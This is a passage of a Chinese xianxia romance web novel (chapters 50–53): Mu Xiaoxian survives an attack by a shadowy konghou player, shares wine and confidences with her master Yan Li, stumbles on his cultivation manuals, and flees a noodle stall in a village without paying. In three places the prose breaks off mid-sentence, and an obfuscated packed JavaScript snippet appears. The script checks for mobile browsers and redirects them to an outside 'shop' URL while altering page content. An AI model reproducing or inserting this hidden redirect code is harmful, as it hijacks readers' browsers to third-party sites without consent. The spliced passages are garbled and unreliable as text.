森林静得可怕,只能听到慕小闲粗重的喘息声。她靠着树干,一把扯下碎裂的袖子,在手臂的伤口处打了个结,死死地盯着逐渐靠近的身影,咬牙道:“你是谁?我们之前见过吗?” 黑影的脚步一顿,又朝她走来,仍是不语。 看来是打定主意不出声了。 慕小闲眯了眯眼睛,这个黑影虽然称不上眼熟,但似乎和将她从长乐宫绑架出来的那个黑衣人是同一个路数。 50. 第 50 章 箜篌上勾勒的紫黑色图腾像是有生命一般攀附着琴头,吸收乐曲的灵气。琴弦忽的跳动起来,一段魔音奏起,像有千万鬼魂聚在一起嚎叫,撕扯着她的头皮。慕小闲捂住耳朵,但那声音丝毫未减弱,更有一种抓心挠肝的刺痛插入她的身体。 看来他是有备而来,故意找她离开竹隐山,趁晏离不在的时候,想要杀了她。晏离......慕小闲心里一跳,晏离若是知道有危险,会不会赶来救她? 不行。晏离身上有伤,他不能来。 慕小闲长舒一口气,眯了眯眼,强压下身上的不适感,冷声道:“看来......我们之间有些纠葛,劳烦你惦记了,不过我却想不起来你是谁呢。” 黑影不语,黑气裹着琴弦一拨,几道紫光像锋利的刀刃凶猛地向她劈来。 慕小闲腿下一松,借着重力向下倒去,在双膝快要触地的瞬间再次借力轻轻一晃,与向她袭来的紫光擦身而过。 黑影看不清神情,但却在看到她分毫不差的身手之后微微停顿了一下。 慕小闲抓住机会立刻一跃而起,对着黑影拍出两掌,两股白芒瞬间点亮了山头,与接踵而来的紫光在半空中轰然相撞。 慕小闲神情紧绷地观察着局势,想着不行她就再来两掌。然而黑影抬手一挥,他面前似乎浮现出一层屏障,白芒在触及屏障后渐渐式微,竟然被一点一点瓦解了。 不行吗? 慕小闲见这招行不通,转身窜入林中,心急如焚地在林间奔走。黑影犹如一团迷雾快速地跟在她身后,不紧不慢保持着相同的距离。 “嗖嗖”疾驰中的慕小闲躲过一道身后袭来的紫光,前方的大树轰然倒塌。 时间一长,黑影似乎察觉到慕小闲不太对劲,于是频频出手试探,皆被她虚晃一招躲过。他心里愈发肯定了一件事情,她不可能在短期之内达到这种修为,一定借了他人之力。但无论如何也猜不到,她在极短的时间内,融合了一颗几万年修为的灵丹。 慕小闲苦于没有作战经验,没办法将灵丹中的仙力尽数引出来,一时陷入了困局,但她的斗志却越来越高昂。拖得时间越久,黑影暴露的可能性就越大,她故意与黑影周转,就是想诱出对方身份。 随着时间推移,黑影下手越发狠戾。 琴音调转,慕小闲身上蓦地一沉,继续向前飞去,没有发觉自己行动有所减缓。 她在林中飞速穿梭,余光里一团黑气“哗”地从漂浮的尘土中穿过,瞬间近在眼前。她的身体尚且悬在空中,被迫向后仰去,因惊恐缩小的瞳孔倒映着一只紫气凝成的手,压着她的前颈重重撞在身后的树干上。 顿时树干凹陷下去,簌簌落叶劈头盖脸地倾泻而下。慕小闲双脚离地被扣在树上,浑身疼得动弹不得,耳边响起阵阵嗡鸣。 黑影裹挟的紫气如熊熊燃烧的烈焰挤满了慕小闲的瞳孔。 脖子上的脉搏在压迫中剧烈地跳动着,慕小闲浑身虚汗湿透了衣裳,心底渗出一股寒意。 钳在她颈项上的黑气用力摁了下去,她猛地张大口,双手向脖子上的黑气胡乱抓去,却怎么也抓不到实物。 空气逐渐减少,骨骼几斤碎裂,上腹慢慢陷了下去,很快她的眼神涣散,眼前的光线越来越微弱。 到底是谁?为什么一定要杀她? 她扑腾的双腿渐渐没了力气,动弹得越来越迟缓,仿佛无法挣脱身上压着的千斤顶。 要召唤锁魂铃吗?如果暴露了,天庭会派人追查过来。 如果连累了晏离怎么办? 她漆黑一片的眼前突然出现了一个清冷孤傲的身影,他转过身,狭长的眼睛冰冷地看着她,看不清眼中的神色,却带着淡淡的疏离,仿佛一把冰刃刺进了她的胸口,她心里疼的一抽,突然猛地咳嗽了几声。 微弱的空气灌入她的肺部,疼痛与刺鼻的铁锈味同时排山倒海地涌来,身上的伤口在挣扎时,冒出了大片的红花。 这股令人作呕的气味唤起了某种尘封已久的感觉,好似有人狠狠地拽起她的头发,疼痛令她压抑在内心的力量轰然释放...... “啊——” 慕小闲剧烈咆哮一声,体内瞬间带出一股强大的青色仙力,如爆炸产生的气流“轰”地向四周翻腾而去,将眼前的黑影掀开。 数里之内的草地、树木被剧烈地气流连根拔出,狂风将草木屑抛向天空,一时天地间乌烟瘴气。 许久,气流渐渐平息,天上草木屑如落雨般簌簌而降。 黑影在不远处勉强站定,扣着箜篌微微喘息着。 慕小闲飘起的发丝缓缓落下,她睁开猩红的眼,目光落在黑影身上。她苍白的脸上好似添了几道若隐若现的红痕,在林间熹微的光线下显得格外娇艳。 “哈哈哈哈哈哈哈哈哈哈......”笑声在林间回荡,那声音娇媚动人,宛如妖精。十里开外的小动物竖起耳朵,眼神迷离,像是被蛊惑了一般动弹不得。 慕小闲幽黑的瞳仁上倒影着一圈紫色,她舔了舔变得尖利的虎牙,散发出压抑的野兽气息,与刚才的气息全然不同。 唇上的血迹已经发黑,她勾起唇角,眼神冰冷地看着靠近的黑影,娇媚的声线里透着阴冷的杀意: “不管你是谁。” “你死定了。” 林间,两道紧绷的身影在无形中僵持,慕小闲突然如鬼魅般消失在原地,黑影后退半步警惕地望着四周。 “你不是很厉害吗?”林间回荡着她的声音。 黑影四顾,四周全无动静。 一股寒气悄然迫近,慕小闲突然贴在他身前,与黑影相距不到一寸。只听她突然轻笑一声,血腥的脸上露出柔媚的神情,眼眸犹如水波荡漾。 就这么一慌神,慕小闲重重踢在他的手腕处,箜篌脱手而出,砸在地上冒出紫色的烟雾。 他的琴显然适合远攻,既然她不能用锁魂铃,这把诡异的琴他也别想要了。她乘胜追击,对着那只碍眼的箜篌一顿狂轰乱炸,尘雾中紫光一闪,箜篌消失在地面。 “真不好意思,不小心摔坏了你的琴。”慕小闲撩撩头发,神情没有半点歉意,忽而眼神爆发出凌厉的光芒:“不过这样我们就能好好打一场了。” 慕小闲眼睫轻颤,双臂低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嘶”身上的疼痛清晰地传来,慕小闲低头看了看自己浑身乱糟糟的样子,眼神闪烁几下,倒吸了一口凉气。完了,这怎么跟晏离交代。她不敢在原地停留太久,简单处理了一下伤口,赶在太阳下山前回到竹隐山。 她不知道的是,在她离去后,另一个身影穿过山林,停在了一片狼藉的战场。修长的影子融化在片片斜阳中,垂着一只耳朵的兔子温顺地窝在他怀里,时不时耸耸鼻子,亲昵往衣服上蹭。 “叽叽叽叽” 纤纤玉手轻轻地抚在它光滑的毛发上,许久,略带笑意:“姐姐好看吗...... “小黄瓜?” 。 日落西山。 晏离坐在屋前,桌上放着一杯凉掉的茶。他好像在这里坐了很久,连肩上挂着落叶也没发觉。忽然,他平静的眼中掀起一丝波澜,抬眼望向不远处。 慕小闲战战兢兢地从林中走来,圆圆的眼睛偷偷瞄着晏离,像是个做错事怕被发现的孩子。晏离在看到她的瞬间陡然变了脸色,身体先于思想站了起来。 慕小闲站在几米外,声音软软地说:“我回来了。”她闭着一只淤青的眼睛,脸上红肿未消,隐约有干涸的血迹。衣服上污迹斑斑,挂着几条撕开的碎布,哦,还垂着一条受伤的胳膊。 一看就是经历了一场恶战。 她整了整凌乱的头发,有点心虚地抓着衣摆,指腹在布料上摩擦。 半晌,她迎着斜阳咧嘴一笑:“我没输。” 51. 第 51 章 嫩黄的旧叶卷入碧绿河床,伴随着潺潺水声,如一叶轻盈的小舟漂流而下。 慕小闲坐在竹屋外的木桌旁,垂着受伤的胳膊,眉眼之间带着郁结望向幽深竹林,道:“我不知道他是谁,也不知道他为什么想杀我。” 身后缥缈白衣在她回来后愈发沉默不语,如同结了一层寒冰,就连掌心贴在她的后背,灌注仙力替她疗伤时,都恍若带着难以抑制的寒气。 “难道是为了抢锁魂铃?凤钰该不会是怕被人追杀才把锁魂铃给我吧? “还有上次在长乐宫不明不白被人绑架,现在也没查出个究竟。他们会不会是同一个人? “难道他一直在找我?他已经找到这附近了,下一次要是找上门了该怎么办?” 慕小闲自顾自说着,晏离冰凉的手指挽起她的长发,指尖不小心触及后颈,让她略微瑟缩了一下,又装作若无其事地伸长脖子。 晏离扔给她一瓶草药,她涂抹在手臂伤口处,清凉的滋味渗入肌肤,减轻了灼烧感,也渐渐抚平了她心里的燥热。 “竹隐山中设有结界,一般人难以靠近。你好好疗伤,不要乱跑,此事以后再谈。”晏离缓缓起身。 “为什么?”慕小闲趴在桌上目送晏离蹒跚走回竹屋,气鼓鼓地说:“凭什么他跑来捅我一刀还要以后再说?我巴不得现在就去把他捅成马蜂窝......” “你现在能做什么?”晏离侧身回眸,冰封的眼眸辨不出神情,但冷淡的语气让她心里一紧,扭开头不再作声。 慕小闲虽然没有输,但也算死里逃生,晏离不允许她追究也就罢了,还质疑她现在什么也做不了。她心里一直像是堵着一口气,气什么说不上来,不过这几天有意无意地回避他。 说是回避,竹屋巴掌大的地方低头不见抬头见,又不能真的给他摆脸色,于是她心里更郁结了。 晏离偏偏是个不会看人脸色的,这种时候他不知哪儿来的兴头,居然日日下厨,还莫名其妙撞上了她最爱吃的几样。 慕小闲一边想着“我还在生气不想看见你离我远一点”,一边生气地大口扒拉饭菜,心里吐槽真是一点儿也不好吃。 她不说话,晏离也缄默不语。神仙有大把光阴蹉跎在鸡毛蒜皮的小事上,反正谁也耗不死谁。 许是心中烦闷,慕小闲惦记上了厨房一口大瓦缸里整整齐齐摞着的一坛坛小酒。那瓦缸是粗劣、陈旧的,但里面小心摆放的酒坛却不是。手掌高的釉质天清色酒坛外层油光水滑,一看就是上好的瓷器。 朗月清风,趁夜里无人知晓,慕小闲偷偷提着几坛子酒,脚一蹬就上了屋顶。 屋顶铺着厚厚的稻草,长久以来雨淋日晒,散发出一种厚重的草木气息。她卧在稻草堆上,晃了晃手中的酒坛,里面传来水波滚动的沉闷声。她将坛子上的塞子一拔,借着一点冷若冰霜的月色,窥得里面清洌的液体。 酒香从小口中出溢,带着花果的清甜,让她心里一荡。 品相不错,但是不是好酒,当然要喝了才知道。 慕小闲衔着硬币大小的坛口,浅尝一口,那香甜的味道从她的舌头滑进了喉咙,然后滴落在心间。几乎就在一口之间,就让她喜欢的头皮发麻、相见恨晚。 初入口时甘甜爽口,下肚后渐渐升起一股入心的灼烧感,好像心脏被人握在手中揉捏,然后一股千回百转热流滚入脑中,眼前本就朦胧的景物变的更加似真似幻。 这酒后劲挺足。 黑夜低沉,头顶月明星稀,几颗疏星绚烂如炬,仿佛伸手便可摘下星辰。 清风徐来,吹散了她的发丝,也吹散了她心里些许灼烧感。 在天庭鎏华殿时,就没有这种肆意放松的滋味。不知道华尧身体痊愈了吗?凤钰找到那抹残魂了吗?武陵怎么样了?云魁云姬有没有查出真相?狒狒回到花果山了吗? 他们现在在哪里呢? 她举起坛子对着月亮虚敬一下,然后又连连咕咚几声。 她好像终于习惯了天界的生活,在这里她竟然获得了内心深处的平静。是了,她在苍茫夜色下、群山间、蛙鸣和蝉噪中,终于觅得一丝久违的熟悉与安逸。好像很多很多年以前,跨越了时间与空间,她也曾感受过这种滋味。 一坛子酒毫无防备地灌下,本以为度数不高,但慕小闲已经开始了“我是谁”“我在哪儿”“我在做什么”的眩晕感。心里的灼热感蔓延,浑身躁动不堪。她猛地站起来迈开腿,探头往下一看,心里顿时有些发怵:嘿,还挺高的。我是怎么上来的? 她后退半步,却不料脚下一滑,“哗”的一声,一脚捅穿了草棚,跌坐了下去。 这就很尴尬了。 夜深人静之时,屋内正在木桶里安心沐浴的晏离,生生被房顶突然吊下的一条腿惊着了。一条粘着草屑的白裤在半空挣扎,空中连带飘下不少浮尘。 她的修为不至于将屋子踩塌吧? 慕小闲费力地将腿拔出,循着光低头朝那个被她踩出的洞里看。就见一片白色掠过眼前,待随风飘起的衣衫与青丝垂落,眨眼间晏离已穿戴整齐。 清冷的声音略带恼意:“非礼勿视。” 慕小闲幽幽抬起快要掉进去的脑袋,眯蒙着眼睛扭过头,小声说:“也没比我多二两肉啊。”她天生有一股放荡不羁的气质,此时又染了酒气,语气就像是个纨绔子弟。 下面传来晏离愈加冷硬的声音:“你说什么?” “我说。”慕小闲低下头望着晏离,屋内微弱的烛光映在她泛红的脸蛋上,迷离的眼睛像点缀着点点星光。 “你真好看。” 晏离微微一怔,眼底闪过一丝错乱,一时就这么定定地回望着她。慕小闲没有察觉他神色异常,直勾勾地盯着他说:“我说的是真的,你是我见过最最好看的人。” 晏离的耳根渐红,转而问道:“你还见过谁的?” 慕小闲仰起头眯着眼睛,思忖了一会儿,越想脑海中的思绪越乱:“嗯?华尧?凤钰?” 夜晚的山林透着森森寒气,此时好似越发渗人。 她果断摇摇头:“不,我都没见过。” 压迫感瞬间消失。她又接着点点头,像是对自己打气一般,很肯定地说:“不过见一见也是可以的。” 轻盈的白衣从竹屋里飘出,似乎比以往的行动稍快一些,忿忿落在慕小闲身旁。 月色朦胧,清风送来晏离身上刚沐浴完的清香。他长身玉立地站在莹莹光辉下,清俊的脸颊与清冷的气质更显矜贵,半湿的头发垂落肩头,宛如一幅美人出浴图,就是穿得实在太严实。 “你不高兴啦?”慕小闲借着月色打量他,眼中哪有刚才那副顽劣的样子,眸中之色单纯得像未被尘世沾染过一般。她朦胧地望着晏离的眼睛,咧嘴一笑:“你不高兴,那我就不见啦!” 好像很听话的样子。 晏离敛眉扫了一眼她脚边卧倒的空坛子:“喝了多少?像什么样子。” 慕小闲摇摇头,眼角不经意间流露出一丝媚态:“我才喝了一坛。”她摇了摇手中的瓶子,问:“来一杯?” 晏离知道她正是将醉未醉之间,沉静如水的眸子在她粉色的脸颊上停留须臾,略有缓和:“罢了。今夜没有师徒。” 听到他这句话,慕小闲像打了鸡血一样跳起来拍拍手:“没有师徒好啊,那......那我们玩个游戏吧。”她托腮转了转眼珠:“我想想......不如这样。我们划拳,输的人要么喝一坛子酒,要么说一个秘密。” 一坛酒都快断片了,再加一坛,竹隐山怕是要今夜无人入睡了。 晏离没有直接回应,而是垂眸低声道:“你想知道什么?”那声音与平时无异,但飘进慕小闲的耳朵里却像带着勾子一样,不知扯断了哪根琴弦,她只觉得心头微微一颤。 “我想知道你为什么一个人待在山中,为什么会带上囚仙印,为什么不再收徒也不和外人联系......” 夜色昏沉,景色迷离。 晏离悄悄将目光挪开,良久,幽幽道:“我不喜尘世的喧嚣,山中岁月静好,每日看着漫山遍野的青林翠竹,潺潺流水,游鱼野兔,便能获得内心的平静。” 慕小闲望着他含混地问道:“每天都是一样的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137715|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景,不觉得枯燥无聊吗?” 晏离垂下眼睫:“山林包罗万象,不比俗世单调,起初并不觉得......”他微顿了一下:“没什么。后来因为一些执念,便更加不在意外界如何了。” 晏离讲的不明不白,慕小闲听的云里雾里,茫然地点点头:“原来是这样。”又举起酒坛,望着月色浅饮一口。 清风送来略带沙哑的声音:“你在人间还好吗?” 慕小闲干笑两声:“你不说我都快忘了人间是什么样子了。”她眯着眼睛望着夜空:“飞升天界远离人间后,在人间的十几年好像大梦一场,我有时会怀疑那些人事是否是真实的。他们存在我的记忆中,但记忆又是什么呢,不过是些沉淀的画面。” 碎星如钻落入她的眼眸,她侧过头冲晏离笑了一下,露出浅浅的酒窝,语气蓦然轻快起来:“在人间时觉得人间愁苦,抽身出来后发觉,人间也挺有趣的。虽然天界的神仙仙力无边,但人间有高科技。凡人没有仙力就发明了许多东西代替。就拿出行来说,在天界要么自己飞、要么乘祥云或者瑞兽,但凡间有各种不同的交通工具,路上有汽车摩托自行车,天上有飞机火箭,海上有轮船潜艇,我们一样上天入海无所不能。” 晏离不知是否明白她所说的,只是淡淡应道:“是么......” “对,我们还有网络可以知晓天下事,随时联系千里之外的人,还能打游戏看剧读书消遣。若说方便程度,天界未必更胜一筹。”余音带着一丝得意与怀念。 夜色中传来一句低语:“如果有机会,我也想看看你生活过的地方……” 慕小闲被风吹得头脑发胀,似乎没有捕捉到:“你说什么?” 晏离问道:“如果你能选择,你更想待在天界还是凡间?” 慕小闲思忖片刻,借着一点醉意,笑道:“凡间虽然有丰富的物质生活,但却少了一分宁静和自由。天界虽然脱离了世俗,但却固守弱肉强食的规则。凡人总想着修仙,以为修成就能变得神通广大,但又会被更高等的神仙欺压,不过是从一个底端爬上了另一个底端。若是老老实实待在凡间,说不定还能过几天安生日子。两者皆没有绝对的好坏,如果我不能强大起来,在哪里都难得心安自在。事实就是,我根本没得选。” 晚风抚乱了她的刘海,嘴角也抿成嘲讽的弧度。 一阵酒气顺着咽喉翻涌上来,迷了她的眼睛,她举杯对月,眉目温和舒展,嗟叹道:“我不奢望能回去,不过我也不服气,我不信这偌大的天界找不到我的容身之所。” 晏离扶着她无奈道:“你醉了......”他不应该默许她喝酒的,谁知道她酒品如此不好。 “我没醉我没醉。我还可以喝。” 晏离:“......” 慕小闲又举起酒坛,晏离拦下她:“今夜不可再喝。” 慕小闲也没反抗,歪着头眼神迷离地望着他:“这......这酒有名字吗?” 晏离唇齿微动,却没有发出声音,犹豫片刻才道:“不可说。” “不可说?这名字有趣,倒真像是有什么欲说还休的滋味。”慕小闲喃喃。 “一开始醇香清甜让人无法抗拒,而后浓烈得仿佛身体在水深火热之中煎熬,最后只能放弃挣扎,醉生梦死都由它。”慕小闲醉眼迷离地看着晏离,仿佛有什么东西从心里溢出,她表情一滞,摇了摇头:“明明是种自我折磨,但却还想一喝再喝呢。” 慕小闲语气兴奋,丝毫没察觉晏离微微敛了眉。 “为什么酿这样的酒?” 慕小闲了然道:“会酿出这样的酒,是不是心里有放不下的事?” 晏离忽的望向她,如雾的眼眸中有无尽的月色,也有她的倒影。平日云淡风轻的眼眸猝然闪过许多复杂的神色,可是顷刻之间,恍然消散,又好像只是她的错觉。 慕小闲等不来回应,眼皮直打颤,终于无法抵御不可抗力,沉沉地合上。整个人倒在晏离的怀里,将他新换的衣裳蹭得凌乱,将两人的气味交融,但晏离仿佛并未注意。 夜色静默良久,留下一声轻叹。 52. 第 52 章 一觉醒来,慕小闲已然不记得昨夜发生了什么,但她和晏离僵持数日的氛围突然变得柔和,她猜测大概是她醉后抱着晏离的大腿哭爹喊娘了吧。 关系虽然有所好转,但慕小闲总觉得莫名有些不自在,于是在伤好之后,寻了一处隐蔽的山洞闭关修炼。 洞内无人干扰,她不眠不休地练功,不知日夜,出关时一晃过去了三个月。她已能调动体内那股汹涌的仙力,通感也变得更加敏锐,有时闭眼打坐,一呼一吸间就能感知到几里外鸟兽飞走。 出关那天,金灿灿的阳光透过云彩泼洒在林间绿叶上,如同覆上一层薄薄的金纱。她回到竹屋时,遥遥望见晏离正捧着书坐在树下。天青色的远方,绵延的山峦与翻滚的云海相接,白袍衬得他极为冷傲,如苍松上栖息的仙鹤。 慕小闲推开院门,他回神看去,两人视线相交,居然像多年未见一般有些怔然。眼神没收回来,思绪却不知道飘去了哪里,慕小闲望着他神游少倾,才听到他一如往常地说:“回来了。” 慕小闲点点头,想说什么,但三个月未见不知从何说起。 晏离搁下手中的书:“修炼得如何?” 慕小闲不自然地瞄了几眼他,道:“我日日勤学苦练,都没注意过了这么长时间,修为应该也增进了不少吧。下次再让我见到那个黑影,我一定能将他打得落花流水。” 晏离微微颔首,又拿起手上的书垂眸品读,就在慕小闲抬腿前行时突然覆手扬袖,一道纯净的仙力火力十足地向她径直劈来。 突如其来的仙力带着强劲的压迫感,但却少了一分杀气。 慕小闲条件反射般跳起,迅速向后退去,待退至小溪另一侧,于虚空中摆袖一个乾坤扭转,借力打力,将冲来的仙力在空中化解。两股相近的仙力相撞,阳光下虹光一闪,一切归于无形。 慕小闲降落在刚才的位置,抬眼看到晏离肯定的眼神,心里有丝丝得意。脸上肃然的表情在一声“不错”中瞬间破功,圆圆的眼睛藏不住笑意,轻声道:“多谢。”说着,从晏离面前穿过,身后束起的发丝随之扬起一道悠扬的弧线,像蜕变后的蝴蝶,姿容昳丽、灵动飘逸。 离开的时间不长不短,屋里的陈设还是她离开时的样子,只是日渐消散的冷清气息又弥漫在屋内。她的眼中已经有了怀念的意味,随手在床边一抹,竟然干干净净。 窗外飘进恬淡的清香,慕小闲望着一缕斜斜透进来的阳光,眼皮开始打颤。她太累了,猝不及防思绪就被抽离,等她再睁开眼睛时,阳光已经悄咪咪挪到了另一头,她还沉浸在一种“今世何世”的恍惚中。 窗上晃过晏离的影子,她倒在床上偏头向外看去,目光一直追着影子消失在窗角。 慕小闲从床上坐起来,百无聊赖间看见师父打理得整整齐齐的书柜,每一格都塞得满满当当,还有几本放在了书柜上面。 她随手地抽出一本翻了几页,约莫讲的是神仙族谱。她对上古那帮神仙的下落没什么兴趣,放回去换了一本,又是些轮回转世的说法。她对此莫名有些敬畏,不敢细看,又放了回去。手指在一连串古籍中流连,突然看到细微的间隙里,好像夹带了什么东西。 薄薄几册扎在一起,她手指一勾,将一连串外封平平无奇的册子抽了出来。纸张粗糙,摸起来有颗粒感,她翻开一页,目光在字里行间游走。 读了几行之后,忽而觉得很熟悉,又翻了一页,目光随之快速地移动起来,又略过一页、两页、三页......越看越认真,神色渐渐复杂起来。 这本册子的内容就是她先前背过的心法,但描述却不尽相同。这本册子上的语言写的晦涩难懂,甚至有不少生僻的象形字。如果不是她对内容倒背如流,乍一看可能根本不会发现。 她捏着书页一角停下来,施未羽曾说她修炼的仙力是青丘白家的,如果她猜的不错,这本书是为有着妖仙体质的白家人写的。 而晏离给她的那本心法,是为凡人体质写的。 慕小闲手指在页脚搓了搓,为什么晏离会有两本同样的心法?还刚巧就有一本适合她?她又仔细翻了翻书架上的书,发现其中居然夹杂着几本凡间神妖鬼怪的话本,撰写时间有远有近,相隔数千年。 看来晏离对凡间的事情颇有兴趣。 身后响起脚步声,慕小闲像是发现了晏离的秘密一般,慌忙将手上的心法塞进了书架后面,又顺手拿了一本不太起眼的书假装翻阅。 一打开,书扉页上印着四个大字: “神形兼修”。 慕小闲瞥了一眼书上的字,竖起耳朵听着房间外的动静:晏离一步一步走进竹屋,在厅堂放慢了脚步。她好似感受到一股视线,不知是不是自己心里作祟,不由地挺直了后背。 她装作认真读书的样子,翻开下一页,一行小字映入眼帘:“性命同源、心灵相通。” 这一次她被书上的字吸引了过去。什么功法有这种奇效?慕小闲边想边毫无防备地往后翻,手指一动一僵,瞳孔扩大...... 嘶,这该不会是? 传说中的双修? 她啪地阖上书,眼中划过一丝诧异,脑海里浮现晏离一人认真观摩这本书的画面...... “咳咳咳咳”慕小闲一激动呛了口气,剧烈咳嗽起来,身体无法控制前倾,不小心撞在书柜上,啪啪啪打落了几本。 她呼吸稍稍缓和,赶紧蹲下去捡,其他尚在书柜上的书像是有意要欺负她一样,一本一本地跳下来,噼里啪啦砸在她的头上。慕小闲连挨了几下,无语地抬起头,没想到晏离不知什么时候立在了她身侧,神色不明地看着她。 慕小闲蹲在书堆里,眼神闪烁,她站起来不自然地笑道:“我就是想看看书,没想到这些书怪有脾气的。我马上收拾,一定放回原位。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137716|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏离的目光落在她的手上,神情有片刻迟疑。慕小闲手里一紧,突然发现自己手中还攥着本书?她低头一看,这不是刚才那本神形兼修吗?你怎么还在我手里? “我......” “这个......” “不是.....” 晏离抬眸望向慕小闲,看到她晃了晃头,神色紧张地想要解释。 “你听我说......” 慕小闲眼神变了变,面上挣扎一番,最终低下头心不甘情不愿地说:“对不起。”不知道说什么的时候说“对不起”就对了,你看我都说对不起了,你还能拿我怎样? 晏离注视着低下头的慕小闲,不易察觉地敛眉道:“不要跟我说对不起。” 慕小闲只觉得晏离原谅了她,连连点头。 晏离未动,垂眸,目光重新落回在她手上:“那本书......” 慕小闲心又提起来了,书......书怎么了? “想学?” 慕小闲倒吸一口冷气,赶紧摇摇头,将窘迫的目光移向别处,移开后又忍不住偷偷瞄了他几眼。晏离这是什么意思?想学还真能学不成? 慕小闲的脑子里好像有两个小人在吵架,一人说:想知道想知道想知道!另一人捂住对方的嘴说:不,你不想。 晏离脸上浮现了不明显的笑意:“这是凡人修仙的一种途径,神仙不需要。” 慕小闲心里舒了口气,不需要就好。 “不过......” 慕小闲的心如同乘坐祥云一般忽上忽下,此刻仿佛又被抛上了天空。不过?还有什么不过的? 在慕小闲热切的注视下,晏离缓缓说:“神仙可以神修。” 就在她略一怔愣间,又道:“你的修为还驾驭不了神修。” 慕小闲心尖冒出了一丝庆幸又有些许失落,恍惚点点头,垂眸瞥见脚边散落的书,迟疑了一瞬,抬头问道:“师父,你好像对人间很有兴趣?” 晏离淡然道:“天界和凡间的书籍我闲暇时均有涉猎,人间对神仙妖魔的描述和解读,虽不真实,但也着实有趣。” 慕小闲尚有疑惑,以她对晏离的了解,他会隐居深林是因为对外界发生的事并不在意。为什么偏偏对凡间多有留意?她十分怀疑,晏离之所以会留下她,也是因为她是来自凡间。 慕小闲思忖道:“师父,既然你这么喜欢人间,我可以给你讲讲我在人间发生的事。我在人间生活了十几年,所见所闻可比书里真实多了。” 晏离微微一怔,继而点点头,眼底少见地浮现一缕浅淡笑意,眼波流转,若冰山消融、风吹柳絮般恬淡惬意。 一丝隐秘又陌生的欣喜让慕小闲脑海闪现刹那空白,她掩饰般眨眨眼睛,握紧着手中的书,道:“下次吧,我先把这里收拾干净。”言罢,慌乱地捡起散落一地的书,不敢再去看晏离的动静。 53. 第 53 章 “喂,你在听我说话吗?”小十一咬了口鸡汤小馄饨,边咀嚼边不悦地看着对面正在发愣的慕小闲。 一旁忙碌的伙计将毛巾搭在肩上,一手端着碗,一手拿着长柄勺子在大锅里一挑,热气裹挟着香味翻涌而起。慕小闲吸吸鼻子:“你说到哪儿了?” 远处传来一声洪亮的吆喝,精神抖擞的车夫赶着牛车从泥巴路上缓缓驶过,地上留下一行长长的车辙。行人逐渐向两边分散,待牛车驶过后不一会儿又汇聚在一起。 街边零星摆着几个早起的摊贩,街上人来人往热闹非凡。两人穿着粗布短衣打扮得与旁人无异,混迹在集市中,就像长期生长于此一样。只是会有眼尖的老人,多看他们几眼。 小十一眼中露出一丝挫败,上下瞥了慕小闲几眼:“你看上去心不在焉的,是不是被叔父批评了?” 慕小闲握着茶杯没接话,小十一自顾自揣测起来:“叔父那么清高的人,肯定看不惯你一天到晚如此散漫。不过,你别和他置气,毕竟他能答应教你,还包吃包住,就是天下掉馅饼的好事,你忍忍怎么了?” 小十一的话让慕小闲更加郁结,仿佛她天生就该和晏离八字不合才对,但事实好像往相反的方向发展了。 “你别瞎说,我和师父平日互敬互爱、教学相长,相处得可好了。” 小十一翻了个白眼:“你说瞎话的本事越来越厉害了。” 慕小闲:“吃完了吗?” 他们所在的位置是花神村,一个青丘不起眼的村落,横竖不过几百年的历史。最初,一些没什么抱负的无名仙人找到这个世外桃源,凭借天然资源自给自足,过着最原始、平淡的日子。后来演化了许多年,因为无意修仙,仙人逐渐退化,除了寿元较长,大多已经泯然凡人。 小十一发现先前青丘左右相施未羽和卿书匆匆赶往的地方就在这附近,花神村藏得隐蔽,没有妖仙聚居,素来与世隔绝,左右相无事来这里做什么?他的好奇心太重,以帮过慕小闲寻宝为由,约她一同前来。 “你问过左右相,她们怎么说?” 小十一不加思索脱口而出:“当然是叫我别......”话音未落,他心虚地改口道:“不,她们说读万卷书行万里路,多出去看看也是好的。” 小十一吃完最后一个小馄饨,丢下汤匙说:“走吧。” 慕小闲起身向外走了几步,街上喧闹的氛围立刻席卷她的感官。 在摊前招呼的伙计突然回头冲他们喝道:“诶,你们还没给钱呢!” 慕小闲漫不经心地回头看了小十一一眼,小十一抬头茫然地看着她...... 一大一小两人仿佛独立于喧嚣之外,两人呆滞几秒......不知哪里来的的默契,撒腿就跑!但谁也不敢用仙力,一是这里没人会仙术,二是两人现在都有一种白家包袱,被认出来丢脸就丢大了。 两人挤进了熙熙攘攘的人流中,身后反应过来的伙计高声叫嚷:“什么年代了还有人光天化日之下吃白食!要脸吗?” 小十一从小养尊处优,自称是青丘小霸王,哪里受过这种委屈,边跑边面红地回应道:“不就是碗馄饨吗?能有几个钱?多大的人了还和小孩子计较?” 伙计大怒,丢下摊子追了出来:“你还有理了?” “给我站住!” “别跑!” “有种你别跑!” 街边的小贩与不明就里的人群睁大眼睛往后看,两个包裹得灰不溜秋的人影从人缝中窜走,眼见就要撞上那辆慢吞吞的牛车,两人动作整齐划一地往车上的麻袋堆里一扑,钻进了麻袋的空隙中,瞬间与周围的颜色融为一体。 